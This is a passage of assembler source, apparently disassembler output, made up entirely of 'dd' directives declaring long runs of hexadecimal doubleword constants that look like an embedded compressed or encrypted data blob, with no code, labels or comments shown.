267BAC24h, 5E406F35h, 1B3A2C46h, 0FE9393h, 0CE73A5F4h dd 209D6ABFh, 0F70EE268h, 2AB90141h, 378C284Fh, 43BFE0B6h dd 601D5D00h, 6631B95h, 435B72Ch, 8717EA80h, 5AC690h, 31197784h dd 43D68834h, 923D28DDh, 8833B079h, 8A2EB925h, 4E04C47Ch dd 9A40DD4h, 190595Ah, 90C6CEFBh, 0B8982998h, 6C19047Ah dd 94278D90h, 0BC28F868h, 0CEE48C61h, 40E28D2Dh, 98CE144h dd 3296B1A3h, 561F50D0h, 2C8F74BFh, 599F0977h, 18DE791Ch dd 972F82Ch, 0B8C38085h, 0B6798468h, 9E9FE00h, 650D42CAh dd 0BBB7026Ch, 2C257C54h, 8F5990FBh, 0E01AD09Ch, 5AA5B002h dd 54D6ADB1h, 2F588850h, 60A18812h, 5E487EF2h, 26482D46h dd 0AA567400h, 72318791h, 0DCC2B801h, 0C76EA678h, 6DC4322Bh dd 79BCD929h, 76AB1816h, 2EF458EEh, 4114603h, 44E1FB79h dd 0E1D9D070h, 51967301h, 453A8334h, 0C8948E2Bh, 9005C0E2h dd 0CD009F25h, 41407E7Ah, 26BDD855h, 420CCA36h, 9D570E38h dd 805E9134h, 3887B203h, 17A7CADh, 0D6C25660h, 403777CBh dd 14586A84h, 0AE0A295h, 850644Fh, 0CDB28E46h, 4DC1B606h dd 0CFD41718h, 23A43F0Fh, 2F3002Ch, 0C2CE60ABh, 80CC6A4Ch dd 0C85C743h, 8888F9C5h, 1F854D57h, 36852E32h, 0CF239001h dd 84638EF7h, 76305DB2h, 0C7012870h, 61B907BCh, 0B4ADCE9Bh dd 9348F8C9h, 0E6241CB4h, 96C47D36h, 2D465C08h, 195AC913h dd 0D18ED018h, 0B1E828D0h, 0A1A5755Ah, 6F4BE046h, 2DEE8040h dd 71D2A8F6h, 38AD09DFh, 8C744EC8h, 30A67B40h, 8EE06D7h dd 19520C8Fh, 632ADD01h, 2EF04A8Ah, 8F10082Eh, 1346D4h dd 0BC9A3AF0h, 0E3D4A2BDh, 0C404602Dh, 0B8791A8Eh, 0D840884h dd 9D20CE0h, 153D8341h, 30318014h, 1D973AEDh, 9C4D972Ch dd 0B25D0B60h, 7D0A317Eh, 834C7570h, 3546B121h, 9612905Ch dd 245E4002h, 2E122C90h, 54D36EB5h, 1748E4EEh, 8C73CE80h dd 0BC9F97h, 70F8982Fh, 40B18ACBh, 2F09D3Ch, 3685C686h dd 0FA24A4BBh, 0C818CB52h, 0D246CC2Ch, 0AF504AFEh, 4E16E750h dd 84B089E4h, 0B5C190B2h, 0D0F69007h, 0CE510AF9h, 6467BCAAh dd 0D7606844h, 6F01D379h, 86B6655Bh, 0CE2E1736h, 0C9E2C8D8h dd 50BE0C07h, 0D5470880h, 78EFA104h, 0A8921286h, 1F545C7Fh dd 0DC642C07h, 0CA679A00h, 0D85788EDh, 1EE5A85h, 5A767CBCh dd 74407EB0h, 6473833Ch, 8458134Ch, 44A0E1C9h, 80BF16B0h dd 36B5D8B4h, 8840DC60h, 0B71A8442h, 0E402E489h, 0D4015179h dd 0D45736D7h, 0E4D672F0h, 500E6895h, 77620898h, 0B98AFB01h dd 0CBD0D496h, 0D1DD00C4h, 4A113544h, 4E3D7F5Ah, 50E28293h dd 0E8A175DCh, 0BD68248h, 0E198F38Eh, 5D70F47Bh, 0C4A70361h dd 0F00D521Dh, 626E9891h, 303FF2A8h, 6E000829h, 0F252F6E6h dd 23D1056h, 99FAC17h, 0C4A7D56Ah, 117FC0BEh, 0B3122191h dd 14CEEF5Ch dd 0F1C02C88h, 0A1839658h, 6E1202DCh, 0B8D1860h, 0A47EB680h dd 0A518C4B0h, 0E1A907B5h, 6A68BE80h, 0C199C0CFh, 563C141Ch dd 0B59D5802h, 7EA8CCF0h, 0C726DCECh, 2F40A86Ah, 0AD764FEh dd 68D5C042h, 0B3E30038h, 2754AEF7h, 0B182800h, 868EC3F0h dd 44B0DF4Fh, 8B04E9E4h, 51744C14h, 0DC48A910h, 0C41864F1h dd 7F94A100h, 7AC286ECh, 5B811C15h, 68E1339h, 70599620h dd 2FE49C51h, 42AA1842h, 94895F4Ch, 6B172011h, 1D00F47Bh dd 528666D7h, 58C072F0h, 4D22E2D0h, 0A47C535Ah, 0FADA3800h dd 0BB03AC1Eh, 0D9A50499h, 2E108280h, 84025782h, 739041B0h dd 608FABCDh, 0FC5212E4h, 8C5BE814h, 0C2D86501h, 0F68105E4h dd 24F820h, 0D9BCB010h, 3BBD2D83h, 0BE8B3700h, 7ADE4AE6h dd 0F7380BFCh, 780F63D6h, 87724281h, 11CC4768h, 9874E1BAh dd 23214508h, 5C873A6Ah, 0AFED7000h, 3BCD28A3h, 0BF3D6B06h dd 2862BBh, 0F5E5E15Ch, 7F37E219h, 24C9F400h, 0D5E7E8Bh dd 9846001Dh, 52BA09B7h, 8E067AE6h, 0BC55A461h, 0D4300A0h dd 0BF486272h, 4D1FF7D5h, 0CD806099h, 4A223923h, 1B8E05Eh dd 0C219588Ah, 806227C5h, 0A8695F18h, 29FD2EF8h, 0E6CFA38h dd 0D9E4876Fh, 204C6244h, 0F9876720h, 109F200h, 9338D315h dd 36720A2Bh, 1194BC5Fh, 27189F8h, 9174D9B2h, 22104628h dd 6A0E8769h, 56D9285h, 2486A15Dh, 998205B8h, 2C5BBA8h dd 0C9A7B568h, 0BAA0CC88h, 98453148h, 633E11BEh, 807A6E10h dd 0B01F019h, 9A0C0CC0h, 3109B85Eh, 0F87921C0h, 6449801h dd 0DF6E5132h, 0D8FB6142h, 9E038D74h, 0EDDD10C3h, 21C2008Ch dd 43F95BA9h, 69C6153Ah, 51427Ah, 0F5B4B82Ch, 3FBA5E72h dd 0F4A34DE0h, 7F44BC8h, 1FC5BC0Dh, 189FD019h, 0AB3C06E6h dd 3A0C4133h, 20376BD5h, 0F08150C5h, 0B068A470h, 0C00D1451h dd 308868FCh, 1F67B80h, 495BC6Ch, 2AC21526h, 33009004h dd 0D4A41EC6h, 6C02FD46h, 5CD96287h, 1D105031h, 36008764h dd 14D32DB0h, 27E42Bh, 2CC1F7BAh, 4CEFA4B5h, 4FDC6C07h dd 2FC0FCB9h, 0CE4E3F3h, 0E7A024EDh, 72001B18h, 39FC9A30h dd 1C4778h, 14BBA535h, 0F3F19B9Fh, 0A1D14300h, 78E5F656h dd 13E80077h, 0F7714BEAh, 6F097B8Dh, 855A60D1h, 12C03481h dd 3879CE4Ch, 939D6692h, 7BB700F9h, 25F69FD8h, 0DB9A6F0Eh dd 8A22C77h, 0B921C0DCh, 0D2A3F697h, 0B0436500h, 1A1F1B23h dd 90B11871h, 7410607Dh, 8430F860h, 37ECE16h, 483FB4C0h dd 41D0A862h, 0ED1C9032h, 0EBC457BBh, 0B2037BBAh, 6970F7F0h dd 8C2CFB0Ah, 8C3980F6h, 0E0D8893Bh, 0E03418E9h, 0F81518CEh dd 7E0F9818h, 0A25B71h, 0A4F45E27h, 0B4FCBB42h, 215F08CCh dd 27AA003Dh, 386EDCCh, 0D503A229h, 43F69040h, 3360BE01h dd 0B791B923h, 0A4091811h, 0B777911h, 626F17Bh, 611915Eh dd 904467A9h, 210598F8h, 3158E96Bh, 0CC08810h, 59B70EA3h dd 392000D7h, 0D40F3099h, 37663862h, 1219D08h, 1739287Ch dd 0D89A29BFh, 0F31CAC9h, 615F416Fh, 389E0674h, 7280842Ah dd 0FAE59635h, 0BE3110D5h, 9C0249BCh, 3369F042h, 6F20F6D0h dd 0E5227246h, 0F694B600h, 382CB521h, 0D323E7Eh, 0FAFD8E80h dd 688FF830h, 71081C90h, 48F2B325h, 960806E7h, 0F80A11F4h dd 0A47D2F6Bh, 0E0900243h, 0C067102Eh, 0BE5E4621h, 630FEDA1h dd 79E5F457h, 21805A08h, 24BE66A7h, 9800BF1Eh, 0E96C6189h dd 4934EDC9h, 0F0058C3Ch, 19D32573h, 182960D0h, 9EBE0861h dd 59C48BEDh, 0BE69A443h, 3199D1D0h, 7FFE3A48h, 2E1FC3ECh dd 0E8F18BC8h, 822E9EDh, 45631862h, 83EF6803h, 4678A62Bh dd 0BE60022Ch, 1C73ED9Fh, 0BE68A500h, 448E16F0h, 34D104B2h dd 8C6D6686h, 0D5002A9Ch, 633FB548h, 0A1F7EB8Bh, 0A44899E4h dd 80E87893h, 0AAE60CE9h, 0DA3E6E00h, 48D80780h, 1CF20A2Bh dd 80CC340Ah, 2E16B22h, 6406CE95h, 4AFBC8B8h, 1F26E2C8h dd 306F72BDh, 502CEDA1h, 2B0AB092h, 80A80D98h, 0E69ECB80h dd 0D78E57h, 0A680B834h, 2E258F67h, 976E9C01h, 0C86BAA2Bh dd 0A00EA0E4h, 648A1Ch, 1C5BB4F0h, 904B3AE9h, 833E6F79h dd 5FE59F57h, 8599713h, 58266CE8h, 6F1FF661h, 2258268Ah dd 91B330E0h, 506D3C20h, 5844CD4Ch, 30BC505Eh, 4B1BE813h dd 0C4087425h, 9081C9A8h, 2637309Eh, 5CAA22C4h, 821C9377h dd 0EFA901C6h, 32F70444h, 0A2FC433Ch, 32883053h, 0FDF29902h dd 674718D0h, 60A4C410h, 1C5D479Ah, 4EA78A53h, 9305DDF4h dd 0FF8C40F2h, 7985D710h, 0FB706005h, 8804A1F4h, 9D006DB3h dd 5BF001EFh, 5159D012h, 5A23A03Bh, 4508F200h, 79F2418h dd 35906004h, 12CB553Ch, 91261B94h, 95983980h, 30F4D04h dd 108DA5AEh, 0D0A1F06Fh, 0B84C8C07h, 82606271h, 145B3Ch dd 0AA38390Eh, 52982AE1h, 29B9D03h, 7A5CEBF8h, 0A5845CC8h dd 8567516h, 718FFA20h, 8C94CEF5h, 0C0101063h, 3899F819h dd 0F24EF90h, 65920CD2h, 0F6A03860h, 8C6F7D24h, 3BAE444h dd 0CF86F698h, 1D564B1h, 0EFC038E0h, 2890984Dh, 34E4ED71h dd 3AE07C3Bh, 1A323F0h, 81FDE90Eh, 0C961FA2Ch, 1500700Fh dd 765253Ch, 56AE895Bh, 11441DD9h, 707F815Fh, 3AD0E044h dd 967E0C5Dh, 0B06005EFh, 0B6C03502h, 0C87B16E5h, 6FFF6C8h dd 7371DE6Eh, 78C849BFh, 0BE62C02Ah, 8348ED9Dh, 6AA3E018h dd 47A500BEh, 0B6DFF283h, 1C5008E0h, 2E0292E0h, 3FC036A0h dd 82CC890Eh, 20473B20h, 0A331434Eh, 500DF0C2h, 0A9AC917Bh dd 39082618h, 701F309Fh, 39002E76h, 0BC6E98C2h, 0F414B2h dd 4D427A72h, 0BAABDD30h, 0FBD7312h, 7465880Ah, 6514676h dd 2E10CABAh, 5D1890C1h, 9E805494h, 84F46227h, 0A6390087h dd 0F2C1E627h, 844C6700h, 88D4C063h, 40E11335h, 0B7E40A93h dd 60AA6484h, 23A03925h, 0A9112730h, 392D750Fh, 0C1461AE4h dd 54F5498h, 6F8BAC81h, 68249832h, 0C79DC58Ch, 98AAF482h dd 908BE68Ch, 182F695h, 5E38C950h, 0E302FBFDh, 3480B1B9h dd 0EF2E99C8h, 5DE0421h, 68CD280h, 0B4C28030h, 0F606F449h dd 0CFE2ED76h, 3BCCFDD9h, 4C0D260h, 134890B0h, 9810D40Ah dd 0D21B7F40h, 79CD00F3h, 0B1AC9DC1h, 40B29E74h, 0BCE96F12h dd 0EB109480h, 46E0A4F9h, 279B0291h, 318CF465h, 0A3381063h dd 0A2E20027h, 1B9E28E3h, 2413EDA5h, 8C1DD130h, 2CEF9841h dd 9437C94Ch, 0E000493Dh, 98E61DA6h, 0AEF8481Ch, 324FC818h dd 67616D8h, 205CAB2h, 97469889h, 5F27A102h, 65319CF4h dd 27A93E10h, 8E3E55FCh, 31BA05B0h, 0A040A60Dh, 0A1EFB56h dd 85DB0395h, 8CA77F52h, 0DD31B4B8h, 0F265D20Eh, 14DFE4EDh dd 68C8688Bh, 409D64C2h, 8063E438h, 0EF0CC199h, 29793E06h dd 0B971152Dh, 6109C0DCh, 180439F6h, 0BED06728h, 8C93ED9Bh dd 1CA15E44h, 0BBD6BE6Ch, 0BB318600h, 760DD55Bh, 23C8B60Ah dd 771DA45Dh, 0D1CDF040h, 6492F88Bh, 602B68F4h, 77A0BE5Fh dd 60458CEDh, 0BE7E60h, 8C404647h, 1909C5E6h, 0B3080500h dd 0DF4F01C2h, 3C6B5871h, 760F9683h, 0A6D6E900h, 0A4E3F098h dd 1CE50329h, 6D110485h, 3BE62100h, 37FECA42h, 57410069h dd 8CF5F93Eh, 8E00669Dh, 309C224Eh, 76EFD45Fh, 2420E74Ch dd 6D431382h, 0FA9405D0h, 4DF88202h, 2CC1A807h, 2892D83Ch dd 422C0022h, 8CB3E75Eh dd 713E1902h, 11889923h, 89D1893h, 7CF46327h, 3A4067C4h dd 1BCB27A5h, 7B237801h, 0B3353B5Eh, 0C3858880h, 10E7ED1Ch dd 650088B2h, 8541DFCh, 19CAF5Ch, 6B20C9B2h, 2242814Ah dd 0E8862CD4h, 6F05F611h, 0D04EB4D1h, 38BBC8ECh, 77EF9780h dd 621026F6h, 85A61184h, 94093921h, 80B46507h, 0A2392979h dd 0E000177Fh, 96B7B105h, 0E109E5h, 9D0A845Ch, 69C4B96Fh dd 0A3CE78C2h, 44B8C7A0h, 0B4AE615Ah, 0FE89A9F4h, 980A0FB3h dd 0F5EA444Dh, 805614C8h, 4F232F16h, 0F998C4B8h, 0EEE6F13Eh dd 34359506h, 0A230E3D0h, 642CC70Ch, 123C60A0h, 86F305A7h dd 887472CBh, 0ACA0FE74h, 6825DA3h, 2EF994B8h, 1068A4BEh dd 0A42BD7B0h, 7900A323h, 9D753C83h, 10D202A8h, 7FC0D098h dd 0EBED38C8h, 146028A2h, 4C184F1Fh, 89F0E104h, 0B2620A37h dd 0A68C63F7h, 18ED7450h, 0FBE62429h, 59C900FFh, 0EF0FEBB1h dd 63820704h, 5887CC8Dh, 23260183h, 9B176A60h, 7A6FC305h dd 0EB53028h, 0F0BFF693h, 0BBB1BE00h, 751F8883h, 0FB004FD3h dd 68A22A0Dh, 0CB391891h, 0F9B2E873h, 17D1A7EDh, 96E191C4h dd 6F6BA000h, 0C8CC0Ah, 0BEBC21Fh, 380F1B56h, 0F7EFA8A8h dd 942E144Fh, 25006923h, 2CED13C5h, 0C4DB5060h, 20774E72h dd 0D3883C14h, 0EFD44182h, 63B20C63h, 135F4830h, 584E94Dh dd 0C2152C44h, 0C8789DC4h, 6F907B09h, 2DBC049Bh, 0A2BE5D60h dd 116BED23h, 65A80054h, 2D6A34BEh, 393B18F6h, 444750B9h dd 0B9D6EC31h, 0E028FD38h, 72C8E1E1h, 0BFC0082Ch, 0B0E0846Dh dd 8E8C8454h, 0CEA98838h, 0C7C0AC00h, 74B27CB9h, 81DC0C4Dh dd 0CF382CFBh, 0A8463438h, 0E0770E7h, 70900D88h, 0BA16A67h dd 7AC09877h, 16765C4Fh, 49A9589h, 0D59C44A4h, 9F288E2Ch dd 408001A3h, 0E0983217h, 2E266F89h, 1200A48Dh, 4CED385Ch dd 60CC6540h, 8000C184h, 0F8B20175h, 1865F032h, 2EAC4118h dd 683687C8h, 0ACB90B34h, 7AC8A673h, 63EE0179h, 0B8596C1Ah dd 88C44E56h, 95C1C0A3h, 0C48BA52h, 558701B6h, 43BBF030h dd 0B1F97887h, 41001868h, 0B7FDCF6Dh, 993B144Eh, 4C58D4B5h dd 18C59E8h, 3A16375Ah, 0D8C09ACAh, 107D4875h, 0B0FCD9C0h dd 0AE36CDh, 0B33EA48Ch, 0DC0F329Ah, 0C226E87Fh, 467414AAh dd 0FF5E00E4h, 0FD837E0Ch, 1F72FAFAh, 5662FC3Dh, 7B683A37h dd 525748Ch, 0C7D4946Fh, 28FCA150h, 8C53F898h, 49F15600h dd 309BA9F2h, 44BF2FE0h, 0A700503Dh, 2F514B1Eh, 0F42806DDh dd 715510BFh, 0D0D94F07h, 0B4500BE1h, 389EE98h, 94E9DD40h dd 10D99E6Ah, 0B8C85078h, 993ED42Eh, 3CE904B4h, 948FCDBCh dd 3BC26788h, 9ECC9193h, 0EA66960h, 53190DADh, 240BC0DFh dd 27714608h, 0F2476001h, 109BFFA1h, 2FB2440h, 5C2E00A8h dd 0EECBEFF5h, 9709025h, 84DC400Fh, 3F8164ABh, 0AF0DF581h dd 0E528C069h, 0B9920FB8h, 803FAE41h, 0B62E86C5h, 98009EA7h dd 90BCA81Ch, 0B09C45CFh, 0E543120Dh, 0CB7425ACh, 63DE08h dd 5BE21CB5h, 7377F437h, 0E028BA51h, 80E9BD63h, 0B1388410h dd 0C334B978h, 79D1F23Eh, 0BAC022h, 9908AFDAh, 0E6AA58A9h dd 9EECF113h, 0AF31CA0h, 0C4AC4CEFh, 5B8C3ACCh, 0D658BD11h dd 91711030h, 7AA64D44h, 0F4DB00B6h, 899F86B1h, 0FB06FCCEh dd 68832E95h, 2FA27588h, 68068D6Eh, 0F4A7F807h, 0CA605F44h dd 5B0F58DEh, 0CE4051EFh, 0D1ABACEDh, 99726010h, 26EE89ADh dd 0CD00D67Eh, 637CA5E1h, 991CE83h, 17E80262h, 0EF96FC60h dd 0D8B4FF72h, 64A465C9h, 0FB366052h, 0E4C005E6h, 813FDD33h dd 61B468h, 0CCEF1C10h, 7BA19398h, 14E59B01h, 0B94C04DBh dd 0E8A70423h, 345854C0h, 0FFFD00D9h, 0F6997E64h, 4C253705h dd 0FC5C8218h, 0BB16103Bh, 896BB0CBh, 3B40E82Ah, 0F44892D9h dd 18C4A24h, 777840Ch, 4C28B8h, 0D32DFC99h, 3C217667h dd 18EA3C6Bh, 64467660h, 0D2075E4Ch, 5F0D476Ah, 3B22FDEEh dd 0C08B05B1h, 99F7E002h, 6418E51Ah, 0D94260DCh, 3664004Bh dd 28399D7Ah, 0F9000C77h, 0B24EC475h, 2D0D07CAh, 249D7B55h dd 0C483AB91h, 0D97A6B10h, 99005DFCh, 0CCA41E65h, 5968BDFh dd 6DB18DA9h, 0E0BCC6A1h, 65EB809Eh, 6054640Ch, 0B8CC6833h dd 0C43C09E8h, 0DC47B194h, 7067DFC4h, 0BFF5347Dh, 3D23F304h dd 48820AC8h, 0F1B0D17Bh, 97186Ah, 3E4D0A0h, 9EF55BF0h dd 0E373090h, 62E059ACh, 0EA044F1Fh, 996A3998h, 9B00073Dh dd 33A70C87h, 0EE791078h, 0FBD9FC01h, 8FFD8201h, 54F2A862h dd 18602230h, 0F9EB941Dh, 153F349Dh, 0AC0804Ch, 0F8DF4782h dd 6F050E87h, 0EF26C44h, 1FA01980h, 6BF4BE0Ah, 38B63B7Bh dd 0EF4803F6h, 0E1827198h, 689A5EF9h, 4B43804Ch, 580B32A2h dd 5B16D0E8h, 68B49D31h, 8C9EBC44h, 1D0FDB00h, 0E33C81E4h dd 309804B2h, 45E33C0h, 18C1D69Dh, 9BC960Ah, 0F46E4Eh dd 45630E26h, 25BA8F02h, 9468E4EDh, 3802D742h, 899493D9h dd 9C510962h, 7318E379h, 3C6DA804h, 30B0C814h, 0C2854A43h dd 544FB650h, 789A1341h, 0A0B19C4h, 6040E1CFh, 6F0F0CB8h dd 8E32D229h, 80B370B1h, 220AA86h, 0E99430CEh, 3758ADA1h dd 2A9CCA00h, 29E77AABh, 0E47CE0h, 40EEDA3Ch, 1420F742h dd 0F02F754Eh, 0B7009F23h, 0BCB969A6h, 4867A2Eh, 0AB7534F3h dd 23F0F16Eh, 3053A224h, 110C6E17h, 196D10D1h, 508900FEh dd 7BAA23Fh, 909551A6h, 6B3A9Ch, 5BA81E41h, 9D4D1B25h dd 8014C04Ch, 963D7F97h, 99A20403h, 0A2BE2E85h, 30E5F230h dd 87168178h, 3C8EBC60h, 0ECC09FC8h, 1852EE20h, 0C17010D8h dd 5746A7Ch, 952F6500h, 4E592877h, 0F8318E3h, 8B3B616Bh dd 7AAF7100h, 66E14B94h, 0B62B1FEAh, 967482F4h, 6D15F3h dd 0C5A219E0h, 8A260492h, 804D9D1Eh, 14DF4FB8h, 0F35C80BCh dd 0B001D418h, 53AAD3B3h, 586C9618h, 2B8842Eh, 6A74B171h dd 0C8026440h, 0A4A6C09Ch, 0DF4674h, 2851A716h, 25EFE460h dd 60C1904Ch, 0D15430F4h, 38B0C090h, 11D2C020h, 0A16382h dd 0D32E1AE5h, 4FCBAAC7h, 23342FF8h, 3B10005Ah, 9EC4ED45h dd 0FA768F74h, 0F7402471h, 0CCA59594h, 95DD0038h, 88A94963h dd 0EC315624h, 0B6114824h, 9D04673Eh, 0B4948902h, 0AF009B18h dd 91762435h, 0A77D30h, 29A48B2Fh, 0CE8F28E8h, 52EC9A00h dd 0FEB285BCh, 44685BEDh, 1577049Ch, 0B40D18C4h, 0F6F069h dd 2C541F4Eh, 75B5DE2Bh, 3D431017h, 74A2C894h, 53068F2h dd 0E16F1726h, 10FCC5CCh, 0E0E8ECB4h, 7CD008Ch, 3749702Eh dd 0C4BEBC0Eh, 93D10EDCh, 8317EB9Ch, 0EDDBCFD0h, 84A2B8C2h dd 4CE722FFh, 0AE60E544h, 7438F402h, 8C41DA72h, 0C33C4447h dd 33C8EC6Ch, 0DCA0AEh, 1D22902Bh, 618878E0h, 11FC9700h dd 0D0C54AC6h, 22985EF1h, 3C40A718h, 2180D240h, 5D030077h dd 365A4EC2h, 0EF0BF8BCh, 0A0F39444h, 413E3D20h, 6B1F0846h dd 74828739h, 58B08143h, 0A43302D0h, 7918B1F1h, 0BC09E882h dd 23CB38E9h, 3063F214h, 5B006CCBh, 982A0B81h, 0B4784CEDh dd 0E7930C7Ch, 0ABF20CD1h, 2774EF00h, 647846ADh, 0E0DB008Fh dd 5ADF4B89h, 215D989Dh, 0E4B08F44h, 28C04E0Fh, 2C2465A1h dd 4FC8F570h, 7FC7D95Bh, 85F1137Eh, 21CCA644h, 48E5A5B9h dd 964E464h, 82BACF2h, 32C12CEDh, 0EFF0A2DCh, 0F62D12A5h dd 0E0B8E638h, 0EEA050F7h dd 37F90934h, 1002F3D3h, 0DCD9DD3Ch, 5F095D93h, 1374F0CDh dd 40F1103Dh, 62242F94h, 38EEEF1Bh, 0F0B07654h, 0A2467F2Fh dd 4514F7C0h, 6064E400h, 51AC1D7h, 7754CB4Dh, 0E7ACB4B9h dd 0B273409Ah, 2EC4AC55h, 5002D46Eh, 20CEBB96h, 54AEDCDBh dd 0FA18F356h, 54AB9750h, 77191400h, 0FD56F423h, 0B32CA4B0h dd 0D9E5589Ch, 0FE6D604h, 64828D2Fh, 0A528A47Ch, 9B392260h dd 16FF302Fh, 2A7A0230h, 927E0239h, 10B928C1h, 5F6FC82Eh dd 0D9EC0741h, 2701C830h, 8E9711Bh, 991000CFh, 985042C2h dd 0BD266B4Ch, 418100A0h, 0B50D5575h, 7C751A4h, 0D033C442h dd 0B388D1B6h, 99AD301Ah, 2FC4338h, 0D83CED38h, 1C794FEBh dd 0B6185FD1h, 0E910CB1Dh, 3E7CA141h, 482D932Ch, 77A5DD01h dd 8557BF18h, 6328EAB8h, 60BC08A8h, 0BC1C018Ch, 8F741190h dd 44E5D0A1h, 5F1054BCh, 3B541A70h, 10C7D961h, 0CE605E44h dd 0B02CB648h, 540810DAh, 772E00CAh, 7A75EC1Bh, 2B617B1Eh dd 7C00F41Eh, 0C8B68394h, 0DC425063h, 5FA4B9Eh, 0B5336B80h dd 13444050h, 0ED2D4D7Eh, 39827EAh, 0D6A53B92h, 74402408h dd 9E025246h, 1086426Bh, 0BB3CD4h, 0B6FE4032h, 6075C74h dd 0F539A8Ch, 44002157h, 0DB9E1E2Dh, 33DD6CCh, 0B06C8F49h dd 57B0139Dh, 8A776854h, 0E42C4D12h, 242B28A0h, 4054E3EDh dd 43FBC830h, 410DF1C2h, 883CD489h, 142646B7h, 0EC482404h dd 1D5BF601h, 65E887D4h, 186C3834h, 2571031Ch, 3763C0D7h dd 6211381Ah, 0CA2C40A9h, 0EBE8B606h, 69112C17h, 71E46A8Eh dd 0C218F40Dh, 0C4C73E00h, 0BCD51EB0h, 0CED60021h, 0E57E3345h dd 0D202A082h, 946753D8h, 0A8644BECh, 5B525Dh, 0BB1D3FE5h dd 0FBCDE26h, 0DB626F12h, 6A239C3Ah, 3504E71Dh, 84F88D33h dd 74BC9E74h, 8000E246h, 0D256A85Ah, 3448C872h, 0D1FB0F03h dd 38846079h, 3B45B8BAh, 6102FE62h, 4F9BE8C8h, 0BB0AE856h dd 0EE08F009h, 0D47742B7h, 43544840h, 1FCFB52Fh, 82699130h dd 0E06AC447h, 94D3C81Ch, 0CC0588ECh, 79B30D0Dh, 167923E0h dd 0FF336B6h, 0D520E583h, 69D09213h, 8924E93Bh, 6DB94C56h dd 0B6EDC09Ch, 0C400292Bh, 50FCC51h, 61F963F4h, 0E6FB889Fh dd 0A4A5E0F3h, 703C11C2h, 463C44DEh, 27A00296h, 51B4F460h dd 0A83B6108h, 70D33027h, 3A5CD7FEh, 0C1990186h, 5B10B2C9h dd 0FBE0E06Ch, 0B94F4BFDh, 3B01406Eh, 2F20EB58h, 0C2D4638Ch dd 16588F9h, 2FF0D971h, 9E381C03h, 401950F8h, 0F6FC8C67h dd 0A26F2210h, 0F696B8E0h, 0EE5D851Fh, 0FCD31140h, 0B4A3C02Eh dd 1FF1013Ch, 7333F8B3h, 30E2F210h, 2504EFD6h, 0A2B4535Fh dd 0DF8030ACh, 77AEF4B8h, 36691601h, 0D1FCF6C0h, 284C4D3Fh dd 946E2F29h, 4355F302h, 840DB6Dh, 89124A6Bh, 9456E50Fh dd 0CBE164B6h, 91E7E458h, 0A0E35301h, 0AA3894E8h, 59AD4E8h dd 0B9E1354Dh, 5800B881h, 4673C40Ch, 0A8A50F04h, 8C5EF8E0h dd 58CF3500h, 3D230E8Ch, 4BFE2D79h, 7072D090h, 64C02995h dd 92860040h, 0C144A109h, 0DE002024h, 346B491Ah, 99532FE0h dd 1C3C04F8h, 0F21553D7h, 0B2851EF0h, 0AE8F015h, 382F6BA8h dd 47772201h, 20608102h, 294B097h, 0ED8D8E15h, 0E42BA0E7h dd 0D86D00ACh, 4EB7696h, 0C800DDEEh, 0B5A399B6h, 3FFB6B50h dd 8E007E41h, 0DEEA961Ch, 0F34FFFF5h, 2A8B40D2h, 7F736020h dd 8201F4B5h, 0E802574Fh, 703C318Fh, 8CE1ECh, 0B26734DDh dd 0A7A35794h, 370DFC1Fh, 0D6B10CC0h, 5CA81B6Ah, 3607109Ch dd 802B6285h, 964CB298h, 406BBC09h, 37F509A2h, 0F3888038h dd 0CDED2D16h, 10382A09h, 61F8588Bh, 0A67B602Eh, 23706D9Eh dd 279F0195h, 33ACF461h, 0A73C80E4h, 1544D627h, 0A4B00DAAh dd 3FA0BD01h, 0F0A4BBD2h, 0E0133068h, 80F55103h, 3AB88479h dd 0E7F0D00Ch, 5A14485Ah, 0C820CB75h, 3B84C1A4h, 0E7A2CCF0h dd 0DA0469B8h, 0C5437EB7h, 496BF0D0h, 3C6CE1A3h, 89F7B285h dd 1844F8h, 0A391380Ch, 45095914h, 458E2771h, 609DC4F8h dd 74F721E5h, 0CEEE73h, 6AE7C63Dh, 771025C8h, 465E609Ch dd 0F1587EE6h, 0CBF012ABh, 2C84C456h, 91E0C0E6h, 2F17EBFFh dd 64B21B57h, 7FBB4639h, 2083FA4h, 0B056CEBEh, 8C63FC56h dd 0E0F88E9h, 1477076Ch, 30B4C182h, 6BA91C98h, 0F0D13A4Ah dd 0C180EF94h, 0AF62ECA4h, 0CE0ED7F0h, 8B9B4BC2h, 0E4E8C5A3h dd 7C0F60E6h, 0E8B90915h, 48D25A43h, 3C5B0420h, 0F62D1967h dd 14596C89h, 0E8195179h, 0F01A312Fh, 5B6054C7h, 80A79128h dd 309D3924h, 0AC448C2Fh, 392C0B78h, 706624CAh, 52C44C85h dd 0B20DFA60h, 68DF59C7h, 7FE243F1h, 0B0601AC4h, 50ED0BB8h dd 707B484Dh, 0A0C24A78h, 166C3CE3h, 4B3E7CCh, 99459BF0h dd 0ACAC6CF4h, 0E2588CABh, 4FB7106Ch, 6062B856h, 6D4DF3h dd 0FA8E314Fh, 215D1101h, 6C046AC4h, 0CB127D90h, 0C0A4C8D8h dd 0F94C09F4h, 30265000h, 7C6BEB77h, 0BD192663h, 54CD6B28h dd 83A876C0h, 3B560D0Dh, 2350AAEDh, 0C199014Ch, 0BE2E43C8h dd 73F7A076h, 44E8AD39h, 0B227C1C3h, 0CFD021FCh, 13B18B9h dd 27F8D0A0h, 0A1BC4556h, 0A21433E4h, 9803065h, 440F4B02h dd 740E8A62h, 0DC00BC70h, 8865D029h, 0DD16E942h, 88058903h dd 68CE1A8Ah, 0C2C05D88h, 1E243E39h, 0A5CEE24Bh, 5CC0F0CDh dd 3E590E1h, 63DF561Dh, 0E9B8964Bh, 9E5A31FDh, 0A423182Fh dd 95C5B900h, 9B731AAh, 8990A51Ch, 0D0061C71h, 96C42Fh dd 0EA143822h, 31019690h, 0D1B080B5h, 4AF3B31Eh, 0AACC00EDh dd 0FFF12E5h, 21B57A09h, 4D80F83Fh, 5CBC1CF8h, 0AE0D22h dd 9EFC50F3h, 1EFEE87Ch, 791EE47Fh, 3B49B825h, 1E85499h dd 7671E03Fh, 654C2824h, 0B4C784A8h, 58CB14C5h, 0CBC567C8h dd 888818ACh, 0E0B16F82h, 0CD484251h, 61E3C4C8h, 886841A1h dd 0D45DD080h, 7300FB08h, 0FDDF6A4Ah, 7F15C8h, 0F64EFC26h dd 0AF32BB83h, 5839E1C4h, 68E220B3h, 0CCF1630h, 4F10FE71h dd 26F08319h, 0BCC48E4Ch, 0F4168CA9h, 6C046C50h, 99004754h dd 108D26FCh, 929210BCh, 144F60A4h, 0AE1A0794h, 2A104907h dd 7DF1673Ah, 0FA9CC021h, 5F5007FCh, 